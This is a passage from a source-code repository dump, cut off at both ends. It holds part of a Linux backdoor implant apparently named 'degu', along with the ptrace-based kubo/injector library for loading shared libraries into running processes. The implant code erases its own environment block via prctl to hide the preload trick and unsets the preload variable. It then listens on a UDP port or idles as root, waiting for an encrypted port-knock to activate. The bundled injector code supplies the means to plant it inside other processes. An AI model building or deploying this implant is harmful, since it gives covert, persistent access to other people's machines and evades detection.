Linux 2.6.24) 98 | /* 3 */ "%lu " // (45) start_data (since Linux 3.3) [PT] 99 | /* 4 */ "%lu " // (46) end_data (since Linux 3.3) [PT] 100 | /* 5 */ "%lu " // (47) start_brk (since Linux 3.3) [PT] 101 | /* 6 */ "%lu " // (48) arg_start (since Linux 3.5) [PT] 102 | /* 7 */ "%lu " // (49) arg_end (since Linux 3.5) [PT] 103 | /* 8 */ "%lu " // (50) env_start (since Linux 3.5) [PT] 104 | /* 9 */ "%lu " // (51) env_end (since Linux 3.5) [PT] 105 | "%*d" // (52) exit_code (since Linux 3.5) [PT] 106 | ; 107 | 108 | unsigned long start_code, end_code, start_stack, start_data, end_data, 109 | start_brk, arg_start, arg_end, env_start, env_end; 110 | 111 | 112 | FILE *f = fopen(filename, "r"); 113 | if (!f) { 114 | TRACE("unable to open %s",filename); 115 | return -1; 116 | } 117 | int r = fscanf(f, fmt, 118 | &start_code, &end_code, &start_stack, 119 | &start_data, &end_data, &start_brk, 120 | &arg_start, &arg_end, &env_start, &env_end); 121 | 122 | fclose(f); 123 | 124 | if (r != 10) { 125 | TRACE("parsing %s failed\n",filename); 126 | return -1; 127 | } 128 | 129 | uintptr_t brk = (uintptr_t) sbrk(0); 130 | 131 | 132 | *m = (struct prctl_mm_map){0}; 133 | 134 | m->start_code = start_code; 135 | m->end_code = end_code; 136 | m->start_data = start_data; 137 | m->end_data = end_data; 138 | m->start_brk = start_brk; 139 | m->brk = brk; 140 | m->start_stack = start_stack; 141 | m->arg_start = arg_start; 142 | m->arg_end = arg_end; 143 | m->env_start = env_start; 144 | m->env_end = env_end; 145 | m->auxv_size = 0; 146 | m->exe_fd = -1; 147 | 148 | return 0; 149 | } 150 | 151 | static void cleandeguenv(){ 152 | char filename[256]; 153 | snprintf(filename, sizeof filename - 1, "/proc/%d/stat", getpid()); 154 | 155 | struct prctl_mm_map m; 156 | int r = get_mm_map(filename, &m); 157 | if (r) 158 | return ; 159 | 160 | m.env_end = (uintptr_t)m.env_start; 161 | r = prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long) &m, sizeof m, 0); 162 | if (r == -1) { 163 | TRACE("prctl error"); 164 | return ; 165 | } 166 | } 167 | 168 | void parasite(int port, int clean){ 169 | TRACE("inside parasite %i",port); 170 | 171 | if (clean == 1) 172 | cleandeguenv(); 173 | unsetenv(PRELOAD); 174 | 175 | 176 | if ( (port == 53) && (getuid()==0) ){ 177 | signal(SIGALRM,sig_alrm); 178 | alarm(WAKE); 179 | setup_keys(); 180 | for(;;){ 181 | sleep(1); 182 | } 183 | exit(EXIT_SUCCESS); 184 | } 185 | 186 | 187 | struct sockaddr_in saddr, caddr; 188 | socklen_t clen = sizeof(caddr); 189 | setup_keys(); 190 | int ssock; 191 | if ((ssock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { 192 | exit(EXIT_FAILURE); 193 | } 194 | 195 | memset(&saddr, 0, sizeof(saddr)); 196 | saddr.sin_family = AF_INET; 197 | saddr.sin_addr.s_addr = INADDR_ANY; 198 | saddr.sin_port = htons(port); 199 | 200 | if (bind(ssock, (struct sockaddr *)&saddr, sizeof(saddr)) == -1) { 201 | TRACE("udp listen on %i error",port); 202 | close(ssock); 203 | exit(EXIT_FAILURE); 204 | } 205 | 206 | unsigned char buffer[1500]; 207 | 208 | while (1) { 209 | memset(buffer,0,1500); 210 | unsigned char *towrite = buffer + STRIPUDP; 211 | int i = recvfrom(ssock, towrite, 1500 - STRIPUDP , 0, (struct sockaddr *)&caddr, &clen); 212 | TRACE("recv %i ",i); 213 | knock(buffer,i+STRIPUDP); 214 | } 215 | exit(EXIT_SUCCESS); 216 | } -------------------------------------------------------------------------------- /degu/wrap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | asm (".symver memcpy, memcpy@GLIBC_2.2.5"); 15 | asm (".symver realpath, realpath@GLIBC_2.2.5"); 16 | asm (".symver __isoc99_sscanf, __isoc99_sscanf@GLIBC_2.2.5"); 17 | asm (".symver __isoc99_vsscanf, vsscanf@GLIBC_2.2.5"); 18 | asm (".symver __isoc99_vfscanf, vfscanf@GLIBC_2.2.5"); 19 | asm (".symver __isoc99_fscanf, __isoc99_fscanf@GLIBC_2.2.5"); 20 | asm (".symver __libc_start_main, __libc_start_main@GLIBC_2.2.5"); 21 | asm (".symver regexec, regexec@GLIBC_2.2.5"); 22 | asm (".symver glob, glob@GLIBC_2.2.5"); 23 | //asm (".symver fstat, fstat@GLIBC_2.2"); 24 | //asm (".symver getauxval, getauxval@GLIBC_2.16"); 25 | 26 | int __libc_start_main(int *main, int argc, char ** ubp_av, void *init, void *fini , void *rtld_fini, void *stack_end); 27 | 28 | int __wrap___libc_start_main(int *main, int argc, char ** ubp_av, void *init, void *fini , void *rtld_fini, void *stack_end){ 29 | return __libc_start_main(main,argc,ubp_av,init,fini,rtld_fini,stack_end); 30 | } 31 | 32 | void *__wrap_memcpy(void *dest, const void *src, size_t n) 33 | { 34 | return memcpy(dest, src, n); 35 | } 36 | char *__wrap_realpath(const char *restrict path,char *restrict resolved_path) 37 | { 38 | return realpath(path, resolved_path); 39 | } 40 | 41 | int __wrap___isoc99_sscanf(const char *restrict str,const char *restrict format, ...){ 42 | va_list vargs = {0}; 43 | va_start(vargs, format); 44 | int ret = vsscanf(str,format,vargs); 45 | va_end (vargs); 46 | return ret; 47 | } 48 | 49 | int __wrap___isoc99_fscanf(FILE *restrict stream,const char *restrict format, ...){ 50 | va_list vargs = {0}; 51 | va_start(vargs, format); 52 | int ret = vfscanf(stream,format,vargs); 53 | va_end (vargs); 54 | return ret; 55 | } 56 | 57 | 58 | int __wrap___isoc99_vsscanf(const char *restrict str,const char *restrict format, va_list vargs){ 59 | return vsscanf(str,format,vargs); 60 | } 61 | 62 | int __wrap_stat(const char *restrict path,struct stat *restrict buf) { 63 | return syscall( SYS_stat, path, buf ); 64 | } 65 | 66 | 67 | int __wrap_regexec(void * preg, const char *restrict string, size_t nmatch, void *p , int eflags){ 68 | return regexec(preg,string,nmatch,p,eflags); 69 | } 70 | 71 | int __wrap_gnu_dev_makedev(int x,int y){ 72 | return (((x)&0xfffff000ULL) << 32) | \ 73 | (((x)&0x00000fffULL) << 8) | \ 74 | (((y)&0xffffff00ULL) << 12) | \ 75 | (((y)&0x000000ffULL)); 76 | } 77 | 78 | int __wrap_glob(const char *restrict pat, int flags, int (*errfunc)(const char *path, int err), void *restrict g){ 79 | return glob(pat,flags,errfunc,g); 80 | } 81 | 82 | void __procfdname(char *buf, unsigned fd) { 83 | unsigned i, j; 84 | for (i=0; (buf[i] = "/proc/self/fd/"[i]); i++); 85 | if (!fd) { 86 | buf[i] = '0'; 87 | buf[i+1] = 0; 88 | return; 89 | } 90 | for (j=fd; j; j/=10, i++); 91 | buf[i] = 0; 92 | for (; fd; fd/=10) buf[--i] = '0' + fd%10; 93 | } 94 | 95 | long __syscall_ret(unsigned long r) { 96 | if (r > -4096UL) { 97 | return -1; 98 | } 99 | return r; 100 | } 101 | 102 | int __wrap_fstat(int fd, void *st){ 103 | int ret = syscall(SYS_fstat, fd, st); 104 | if (ret != -9 || syscall(SYS_fcntl, fd, F_GETFD) < 0) 105 | return __syscall_ret(ret); 106 | 107 | char buf[15+3*sizeof(int)]; 108 | __procfdname(buf, fd); 109 | 110 | return stat( buf, st); 111 | } 112 | -------------------------------------------------------------------------------- /injector/include/injector.h: -------------------------------------------------------------------------------- 1 | /* -*- indent-tabs-mode: nil -*- 2 | * 3 | * injector - Library for injecting a shared library into a Linux process 4 | * 5 | * URL: https://github.com/kubo/injector 6 | * 7 | * ------------------------------------------------------ 8 | * 9 | * Copyright (C) 2018-2023 Kubo Takehiro 10 | * 11 | * This library is free software; you can redistribute it and/or 12 | * modify it under the terms of the GNU Lesser General Public 13 | * License as published by the Free Software Foundation; either 14 | * version 2.1 of the License, or (at your option) any later version. 15 | * 16 | * This library is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 19 | * Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public 22 | * License along with this library; if not, write to the Free Software 23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 24 | */ 25 | 26 | /*! 27 | * \file injector.h 28 | * \brief Library for injecting a shared library into a Linux, Windows and macOS process 29 | */ 30 | #ifndef INJECTOR_H 31 | #define INJECTOR_H 32 | 33 | #if defined(_WIN32) 34 | #include 35 | typedef DWORD injector_pid_t; 36 | #else 37 | #include 38 | 39 | /*! 40 | * \brief Platform-dependent process id type (\c pid_t on Unix. \c DWORD on Windows) 41 | */ 42 | typedef pid_t injector_pid_t; 43 | #endif 44 | 45 | #ifdef __cplusplus 46 | extern "C" { 47 | #endif 48 | #if 0 49 | } 50 | #endif 51 | 52 | #define INJERR_SUCCESS 0 /* linux, windows, macos */ 53 | #define INJERR_OTHER -1 /* linux, windows, macos */ 54 | #define INJERR_NO_MEMORY -2 /* linux, windows, macos */ 55 | #define INJERR_NO_PROCESS -3 /* linux, windows, macos */ 56 | #define INJERR_NO_LIBRARY -4 /* linux */ 57 | #define INJERR_NO_FUNCTION -4 /* linux */ 58 | #define INJERR_ERROR_IN_TARGET -5 /* linux, windows, macos */ 59 | #define INJERR_FILE_NOT_FOUND -6 /* linux, windows, macos */ 60 | #define INJERR_INVALID_MEMORY_AREA -7 /* linux, macos */ 61 | #define INJERR_PERMISSION -8 /* linux, windows, macos */ 62 | #define INJERR_UNSUPPORTED_TARGET -9 /* linux, windows, macos */ 63 | #define INJERR_INVALID_ELF_FORMAT -10 /* linux */ 64 | #define INJERR_WAIT_TRACEE -11 /* linux */ 65 | #define INJERR_FUNCTION_MISSING -12 /* linux, windows, macos */ 66 | 67 | typedef struct injector injector_t; 68 | 69 | /*! 70 | * \brief Attach to the specified process. 71 | * \param[out] injector the address where the newly created injector handle will be stored 72 | * \param[in] pid the process id to be attached 73 | * \return zero on success. Otherwise, error code 74 | */ 75 | int injector_attach(injector_t **injector, injector_pid_t pid); 76 | 77 | /*! 78 | * \brief Detach from the attached process and destroy the specified handle. 79 | * \param[in] injector the injector handle to destroy 80 | * \return zero on success. Otherwise, error code 81 | */ 82 | int injector_detach(injector_t *injector); 83 | 84 | /*! 85 | * \brief Inject the specified shared library into the target process. 86 | * \param[in] injector the injector handle specifying the target process 87 | * \param[in] path the path name of the shared library 88 | * \param[out] handle the address where the newly created module handle will be stored 89 | * \return zero on success. Otherwise, error code 90 | * 91 | * Note on Linux: 92 | * This calls functions inside of the target process interrupted by \c ptrace(). 93 | * If the target process is interrupted while holding a non-reentrant lock and 94 | * injector calls a function requiring the same lock, the process stops forever. 95 | * If the lock type is reentrant, the status guarded by the lock may become inconsistent. 96 | * As far as I checked, \c dlopen() internally calls \c malloc() requiring non-reentrant 97 | * locks. \c dlopen() also uses a reentrant lock to guard information about loaded files. 98 | */ 99 | int injector_inject(injector_t *injector, const char *path, void **handle); 100 | 101 | /*! 102 | * \brief Uninject the shared library specified by \c handle. 103 | * \param[in] injector the injector handle specifying the target process 104 | * \param[in] handle the module handle created by \c injector_inject 105 | * \return zero on success. Otherwise, error code 106 | * \remarks This fearute isn't supported for musl-libc processes. 107 | * See [Functional differences from glibc](https://wiki.musl-libc.org/functional-differences-from-glibc.html#Unloading_libraries). 108 | */ 109 | int injector_uninject(injector_t *injector, void *handle); 110 | 111 | #if defined(INJECTOR_DOC) || defined(__linux__) || defined(__APPLE__) 112 | /*! 113 | * \brief Call the specified function taking no arguments in the target process (Linux and macOS only) 114 | * \param[in] injector the injector handle specifying the target process 115 | * \param[in] handle the module handle created by \c injector_inject or special-handles such as \c RTLD_DEFAULT 116 | * \param[in] name the function name 117 | * 118 | * The \c handle and \c name arguments are passed to \c dlsym ([Linux](https://man7.org/linux/man-pages/man3/dlvsym.3.html), [macOS](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/dlsym.3.html)) and then the return value of \c dlsym is called without arguments in the target process. 119 | * 120 | * This is same with the combination of injector_remote_func_addr() and injector_remote_call() without extra arguments. 121 | * 122 | * \note 123 | * (Linux only) 124 | * If the function in the target process internally calls non-[async-signal-safe]((https://man7.org/linux/man-pages/man7/signal-safety.7.html)) 125 | * functions, it may stop the target process or cause unexpected behaviour. 126 | * \sa injector_remote_func_addr(), injector_remote_call(), injector_remote_vcall() 127 | */ 128 | int injector_call(injector_t *injector, void *handle, const char* name); 129 | #endif 130 | 131 | /*! 132 | * \brief Get the message of the last error. 133 | * \remarks The message is updated only when \c injector functions return non-zero. 134 | */ 135 | const char *injector_error(void); 136 | 137 | #if defined(INJECTOR_DOC) || defined(__linux__) || defined(_WIN32) 138 | #define INJECTOR_HAS_REMOTE_CALL_FUNCS 1 139 | #include 140 | #include 141 | 142 | /*! 143 | * \brief Get the function address in the target process (Linux and Windows only) 144 | * \param[in] injector the injector handle specifying the target process 145 | * \param[in] handle the module handle created by \c injector_inject or special-handles such as \c RTLD_DEFAULT 146 | * \param[in] name the function name 147 | * \param[out] func_addr_out the address where the function address in the target process will be stored 148 | * \return zero on success. Otherwise, error code 149 | * 150 | * \b Example 151 | * 152 | * Inject libfoo.so and then call foo_func(1, 2, 3) in it. 153 | * \code 154 | * void *handle; 155 | * // inject libfoo.so and get the handle 156 | * if (injector_inject(injector, "libfoo.so", &handle) != 0) { 157 | * return; 158 | * } 159 | * size_t func_addr; 160 | * // get the address of foo_func in the handle 161 | * if (injector_remote_func_addr(injector, handle, "foo_func", &func_addr) != 0) { 162 | * return; 163 | * } 164 | * intptr_t retval; 165 | * // call foo_func 166 | * if (injector_remote_call(injector, &retval, func_addr, 1, 2, 3) != 0) { 167 | * return; 168 | * } 169 | * printf("The return value of foo_func(1, 2, 3) is %ld.\n", retval); 170 | * \endcode 171 | */ 172 | int injector_remote_func_addr(injector_t *injector, void *handle, const char* name, size_t *func_addr_out); 173 | 174 | /*! 175 | * \brief Call the function in the target process (Linux and Windows only) 176 | * \param[in] injector the injector handle specifying the target process 177 | * \param[out] retval \c NULL or the address where the return value of the function call will be stored 178 | * \param[in] func_addr the function address in the target process 179 | * \param[in] ... arguments passed to the function 180 | * \return zero on success. Otherwise, error code 181 | * \remarks 182 | * The types of the arguments must be integer or pointer. 183 | * If it is a pointer, it must point to a valid address in the target process. 184 | * The number of arguments must be less than or equal to six. 185 | * \note 186 | * If the function in the target process internally calls non-[async-signal-safe]((https://man7.org/linux/man-pages/man7/signal-safety.7.html)) 187 | * functions, it may stop the target process or cause unexpected behaviour. 188 | * \sa injector_remote_func_addr(), injector_remote_vcall() 189 | */ 190 | int injector_remote_call(injector_t *injector, intptr_t *retval, size_t func_addr, ...); 191 | 192 | /*! 193 | * \brief Call the function in the target process (Linux and Windows only) 194 | * \param[in] injector the injector handle specifying the target process 195 | * \param[out] retval \c NULL or the address where the return value of the function call will be stored 196 | * \param[in] func_addr the function address in the target process 197 | * \param[in] ap arguments passed to the function 198 | * \return zero on success. Otherwise, error code 199 | * \remarks 200 | * The types of the arguments must be integer or pointer. 201 | * If it is a pointer, it must point to a valid address in the target process. 202 | * The number of arguments must be less than or equal to six. 203 | * \note 204 | * If the function in the target process internally calls non-[async-signal-safe]((https://man7.org/linux/man-pages/man7/signal-safety.7.html)) 205 | * functions, it may stop the target process or cause unexpected behaviour. 206 | * \sa injector_remote_func_addr(), injector_remote_call() 207 | */ 208 | int injector_remote_vcall(injector_t *injector, intptr_t *retval, size_t func_addr, va_list ap); 209 | #endif 210 | 211 | #if defined(INJECTOR_DOC) || defined(_WIN32) 212 | /*! 213 | * \brief Same with \c injector_inject except the type of the \c path argument. (Windows only) 214 | * \param[in] injector the injector handle specifying the target process 215 | * \param[in] path the path name of the shared library 216 | * \param[out] handle the address where the newly created module handle will be stored 217 | * \return zero on success. Otherwise, error code 218 | */ 219 | int injector_inject_w(injector_t *injector, const wchar_t *path, void **handle); 220 | #endif 221 | 222 | #if defined(INJECTOR_DOC) || (defined(__linux__) && defined(__x86_64__)) 223 | #define INJECTOR_HAS_INJECT_IN_CLONED_THREAD 1 // feature test macro 224 | /*! 225 | * \brief Inject the specified shared library into the target process by the \c clone system call. (Linux x86_64 only) 226 | * \param[in] injector the injector handle specifying the target process 227 | * \param[in] path the path name of the shared library 228 | * \param[out] handle the address where the newly created module handle will be stored 229 | * \return zero on success. Otherwise, error code 230 | * 231 | * This calls `dlopen()` in a thread created by \c [clone()](https://man7.org/linux/man-pages/man2/clone.2.html). Note that no wonder there are unexpected 232 | * pitfalls because some resources allocated in \c [pthread_create()](https://man7.org/linux/man-pages/man3/pthread_create.3.html) lack in the \c clone()-ed thread. 233 | * Use it at your own risk. 234 | */ 235 | int injector_inject_in_cloned_thread(injector_t *injector, const char *path, void **handle); 236 | #endif 237 | 238 | #if 0 239 | { 240 | #endif 241 | #ifdef __cplusplus 242 | }; /* extern "C" */ 243 | #endif 244 | 245 | #endif 246 | -------------------------------------------------------------------------------- /injector/src/linux/Makefile: -------------------------------------------------------------------------------- 1 | INJECTOR_OBJS = elf.o injector.o ptrace.o remote_call.o util.o shellcode.o 2 | CFLAGS = -Wall -fPIC -I../../include 3 | 4 | all: libinjector.so libinjector.a 5 | 6 | libinjector.so: $(INJECTOR_OBJS) 7 | $(CC) -shared -o libinjector.so $(INJECTOR_OBJS) 8 | 9 | libinjector.a: $(INJECTOR_OBJS) 10 | $(AR) rcs libinjector.a $(INJECTOR_OBJS) 11 | 12 | elf.o: elf.c injector_internal.h ../../include/injector.h 13 | injector.o: injector.c injector_internal.h ../../include/injector.h 14 | ptrace.o: ptrace.c injector_internal.h ../../include/injector.h 15 | remote_call.o: remote_call.c injector_internal.h ../../include/injector.h 16 | util.o: util.c injector_internal.h ../../include/injector.h 17 | shellcode.o: shellcode.S 18 | 19 | clean: 20 | $(RM) libinjector.so libinjector.a $(INJECTOR_OBJS) 21 | -------------------------------------------------------------------------------- /injector/src/linux/injector.c: -------------------------------------------------------------------------------- 1 | /* -*- indent-tabs-mode: nil -*- 2 | * 3 | * injector - Library for injecting a shared library into a Linux process 4 | * 5 | * URL: https://github.com/kubo/injector 6 | * 7 | * ------------------------------------------------------ 8 | * 9 | * Copyright (C) 2018-2023 Kubo Takehiro 10 | * 11 | * This library is free software; you can redistribute it and/or 12 | * modify it under the terms of the GNU Lesser General Public 13 | * License as published by the Free Software Foundation; either 14 | * version 2.1 of the License, or (at your option) any later version. 15 | * 16 | * This library is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 19 | * Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public 22 | * License along with this library; if not, write to the Free Software 23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 24 | */ 25 | #ifndef _GNU_SOURCE 26 | #define _GNU_SOURCE 27 | #endif 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include "injector_internal.h" 42 | 43 | static inline size_t remote_mem_size(injector_t *injector) { 44 | return 2 * injector->data_size + injector->stack_size; 45 | } 46 | 47 | int injector_attach(injector_t **injector_out, pid_t pid) 48 | { 49 | injector_t *injector; 50 | int status; 51 | intptr_t retval; 52 | int prot; 53 | int rv = 0; 54 | 55 | injector__errmsg_is_set = 0; 56 | 57 | injector = calloc(1, sizeof(injector_t)); 58 | if (injector == NULL) { 59 | injector__set_errmsg("malloc error: %s", strerror(errno)); 60 | return INJERR_NO_MEMORY; 61 | } 62 | injector->pid = pid; 63 | rv = injector__attach_process(injector); 64 | if (rv != 0) { 65 | goto error_exit; 66 | } 67 | injector->attached = 1; 68 | 69 | do { 70 | rv = waitpid(pid, &status, 0); 71 | } while (rv == -1 && errno == EINTR); 72 | if (rv == -1) { 73 | injector__set_errmsg("waitpid error while attaching: %s", strerror(errno)); 74 | rv = INJERR_WAIT_TRACEE; 75 | goto error_exit; 76 | } 77 | 78 | rv = injector__collect_libc_information(injector); 79 | if (rv != 0) { 80 | goto error_exit; 81 | } 82 | rv = injector__get_regs(injector, &injector->regs); 83 | if (rv != 0) { 84 | goto error_exit; 85 | } 86 | rv = injector__read(injector, injector->code_addr, &injector->backup_code, sizeof(injector->backup_code)); 87 | if (rv != 0) { 88 | goto error_exit; 89 | } 90 | 91 | injector->data_size = sysconf(_SC_PAGESIZE); 92 | injector->stack_size = 2 * 1024 * 1024; 93 | 94 | rv = injector__call_syscall(injector, &retval, injector->sys_mmap, 0, 95 | remote_mem_size(injector), PROT_READ | PROT_WRITE, 96 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN, -1, 0); 97 | if (rv != 0) { 98 | goto error_exit; 99 | } 100 | if (retval == -1) { 101 | injector__set_errmsg("mmap error: %s", strerror(errno)); 102 | rv = INJERR_ERROR_IN_TARGET; 103 | goto error_exit; 104 | } 105 | injector->mmapped = 1; 106 | injector->data = (size_t)retval; 107 | injector->stack = (size_t)retval + 2 * injector->data_size; 108 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD 109 | injector->shellcode = (size_t)retval + 1 * injector->data_size; 110 | prot = PROT_READ | PROT_EXEC; 111 | #else 112 | prot = PROT_NONE; 113 | #endif 114 | rv = injector__call_syscall(injector, &retval, injector->sys_mprotect, 115 | injector->data + injector->data_size, injector->data_size, 116 | prot); 117 | if (rv != 0) { 118 | goto error_exit; 119 | } 120 | if (retval != 0) { 121 | injector__set_errmsg("mprotect error: %s", strerror(errno)); 122 | rv = INJERR_ERROR_IN_TARGET; 123 | goto error_exit; 124 | } 125 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD 126 | rv = injector__write(injector, injector->shellcode, &injector_shellcode, injector_shellcode_size); 127 | if (rv != 0) { 128 | return rv; 129 | } 130 | #endif 131 | 132 | *injector_out = injector; 133 | return 0; 134 | error_exit: 135 | injector_detach(injector); 136 | return rv; 137 | } 138 | 139 | int injector_inject(injector_t *injector, const char *path, void **handle) 140 | { 141 | char abspath[PATH_MAX]; 142 | int dlflags = RTLD_LAZY; 143 | size_t len; 144 | int rv; 145 | intptr_t retval; 146 | 147 | injector__errmsg_is_set = 0; 148 | 149 | if (path[0] == '/') { 150 | len = strlen(path) + 1; 151 | } else if (realpath(path, abspath) != NULL) { 152 | path = abspath; 153 | len = strlen(abspath) + 1; 154 | } else { 155 | injector__set_errmsg("failed to get the full path of '%s': %s", 156 | path, strerror(errno)); 157 | return INJERR_FILE_NOT_FOUND; 158 | } 159 | 160 | if (len > injector->data_size) { 161 | injector__set_errmsg("too long file path: %s", path); 162 | return INJERR_FILE_NOT_FOUND; 163 | } 164 | 165 | rv = injector__write(injector, injector->data, path, len); 166 | if (rv != 0) { 167 | return rv; 168 | } 169 | if (injector->dlfunc_type == DLFUNC_INTERNAL) { 170 | #define __RTLD_DLOPEN 0x80000000 // glibc internal flag 171 | dlflags |= __RTLD_DLOPEN; 172 | } 173 | rv = injector__call_function(injector, &retval, injector->dlopen_addr, injector->data, dlflags); 174 | if (rv != 0) { 175 | return rv; 176 | } 177 | if (retval == 0) { 178 | char buf[256 + 1] = {0,}; 179 | if (injector->dlerror_addr != 0) { 180 | rv = injector__call_function(injector, &retval, injector->dlerror_addr); 181 | if (rv == 0 && retval != 0) { 182 | injector__read(injector, retval, buf, sizeof(buf) - 1); 183 | } 184 | } 185 | if (buf[0] != '\0') { 186 | injector__set_errmsg("dlopen failed: %s", buf); 187 | } else { 188 | injector__set_errmsg("dlopen failed"); 189 | } 190 | return INJERR_ERROR_IN_TARGET; 191 | } 192 | if (handle != NULL) { 193 | *handle = (void*)retval; 194 | } 195 | return 0; 196 | } 197 | 198 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD 199 | int injector_inject_in_cloned_thread(injector_t *injector, const char *path, void **handle_out) 200 | { 201 | void *data; 202 | injector_shellcode_arg_t *arg; 203 | const size_t file_path_offset = offsetof(injector_shellcode_arg_t, file_path); 204 | void * const invalid_handle = (void*)-3; 205 | char abspath[PATH_MAX]; 206 | size_t pathlen; 207 | int rv; 208 | intptr_t retval; 209 | 210 | injector__errmsg_is_set = 0; 211 | 212 | if (injector->arch != ARCH_X86_64) { 213 | injector__set_errmsg("injector_inject_in_cloned_thread doesn't support %s.", 214 | injector__arch2name(injector->arch)); 215 | return INJERR_UNSUPPORTED_TARGET; 216 | } 217 | 218 | if (realpath(path, abspath) == NULL) { 219 | injector__set_errmsg("failed to get the full path of '%s': %s", 220 | path, strerror(errno)); 221 | return INJERR_FILE_NOT_FOUND; 222 | } 223 | pathlen = strlen(abspath) + 1; 224 | 225 | if (file_path_offset + pathlen > injector->data_size) { 226 | injector__set_errmsg("too long path name: %s", path); 227 | return INJERR_FILE_NOT_FOUND; 228 | } 229 | 230 | data = alloca(injector->data_size); 231 | memset(data, 0, injector->data_size); 232 | arg = (injector_shellcode_arg_t *)data; 233 | 234 | arg->handle = invalid_handle; 235 | arg->dlopen_addr = injector->dlopen_addr; 236 | arg->dlerror_addr = injector->dlerror_addr; 237 | arg->dlflags = RTLD_LAZY; 238 | if (injector->dlfunc_type == DLFUNC_INTERNAL) { 239 | arg->dlflags |= __RTLD_DLOPEN; 240 | } 241 | memcpy(arg->file_path, abspath, pathlen); 242 | 243 | rv = injector__write(injector, injector->data, data, injector->data_size); 244 | if (rv != 0) { 245 | return rv; 246 | } 247 | rv = injector__call_function(injector, &retval, injector->clone_addr, 248 | injector->shellcode, injector->stack + injector->stack_size - 4096, 249 | //CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, 250 | CLONE_VM, 251 | injector->data); 252 | if (rv != 0) { 253 | return rv; 254 | } 255 | if (retval == -1) { 256 | injector__set_errmsg("clone error: %s", strerror(errno)); 257 | return INJERR_ERROR_IN_TARGET; 258 | } 259 | const struct timespec ts = {0, 100000000}; /* 0.1 second */ 260 | void *handle; 261 | int cnt = 0; 262 | 263 | retry: 264 | nanosleep(&ts, NULL); 265 | rv = injector__read(injector, injector->data, &handle, sizeof(handle)); 266 | if (rv != 0) { 267 | return rv; 268 | } 269 | if (handle == invalid_handle) { 270 | int max_retyr_cnt = 50; 271 | if (++cnt <= max_retyr_cnt) { 272 | goto retry; 273 | } 274 | injector__set_errmsg("dlopen doesn't return in %d seconds.", max_retyr_cnt / 10); 275 | return INJERR_ERROR_IN_TARGET; 276 | } 277 | if (handle_out != NULL) { 278 | *handle_out = handle; 279 | } 280 | if (handle == NULL) { 281 | arg->file_path[0] = '\0'; 282 | injector__read(injector, injector->data, data, injector->data_size); 283 | if (arg->file_path[0] != '\0') { 284 | injector__set_errmsg("%s", arg->file_path); 285 | } else { 286 | injector__set_errmsg("dlopen error"); 287 | } 288 | return INJERR_ERROR_IN_TARGET; 289 | } 290 | return 0; 291 | } 292 | #endif 293 | 294 | int injector_remote_func_addr(injector_t *injector, void *handle, const char* name, size_t *func_addr_out) 295 | { 296 | int rv; 297 | intptr_t retval; 298 | size_t len = strlen(name) + 1; 299 | 300 | injector__errmsg_is_set = 0; 301 | 302 | if (len > injector->data_size) { 303 | injector__set_errmsg("too long function name: %s", name); 304 | return INJERR_FUNCTION_MISSING; 305 | } 306 | rv = injector__write(injector, injector->data, name, len); 307 | if (rv != 0) { 308 | return rv; 309 | } 310 | rv = injector__call_function(injector, &retval, injector->dlsym_addr, handle, injector->data); 311 | if (rv != 0) { 312 | return rv; 313 | } 314 | if (retval == 0) { 315 | injector__set_errmsg("function not found: %s", name); 316 | return INJERR_FUNCTION_MISSING; 317 | } 318 | *func_addr_out = (size_t)retval; 319 | return 0; 320 | } 321 | 322 | int injector_remote_call(injector_t *injector, intptr_t *retval, size_t func_addr, ...) 323 | { 324 | va_list ap; 325 | int rv; 326 | injector__errmsg_is_set = 0; 327 | va_start(ap, func_addr); 328 | rv = injector__call_function_va_list(injector, retval, func_addr, ap); 329 | va_end(ap); 330 | return rv; 331 | } 332 | 333 | int injector_remote_vcall(injector_t *injector, intptr_t *retval, size_t func_addr, va_list ap) 334 | { 335 | injector__errmsg_is_set = 0; 336 | return injector__call_function_va_list(injector, retval, func_addr, ap); 337 | } 338 | 339 | int injector_call(injector_t *injector, void *handle, const char* name) 340 | { 341 | size_t func_addr; 342 | int rv = injector_remote_func_addr(injector, handle, name, &func_addr); 343 | if (rv != 0) { 344 | return rv; 345 | } 346 | return injector__call_function(injector, NULL, func_addr); 347 | } 348 | 349 | int injector_uninject(injector_t *injector, void *handle) 350 | { 351 | int rv; 352 | intptr_t retval; 353 | 354 | injector__errmsg_is_set = 0; 355 | if (injector->libc_type == LIBC_TYPE_MUSL) { 356 | /* Assume that libc is musl. */ 357 | injector__set_errmsg("Cannot uninject libraries under musl libc. See: https://wiki.musl-libc.org/functional-differences-from-glibc.html#Unloading_libraries"); 358 | return INJERR_UNSUPPORTED_TARGET; 359 | } 360 | 361 | rv = injector__call_function(injector, &retval, injector->dlclose_addr, handle); 362 | if (rv != 0) { 363 | return rv; 364 | } 365 | if (retval != 0) { 366 | injector__set_errmsg("dlclose failed"); 367 | return INJERR_ERROR_IN_TARGET; 368 | } 369 | return 0; 370 | } 371 | 372 | int injector_detach(injector_t *injector) 373 | { 374 | injector__errmsg_is_set = 0; 375 | 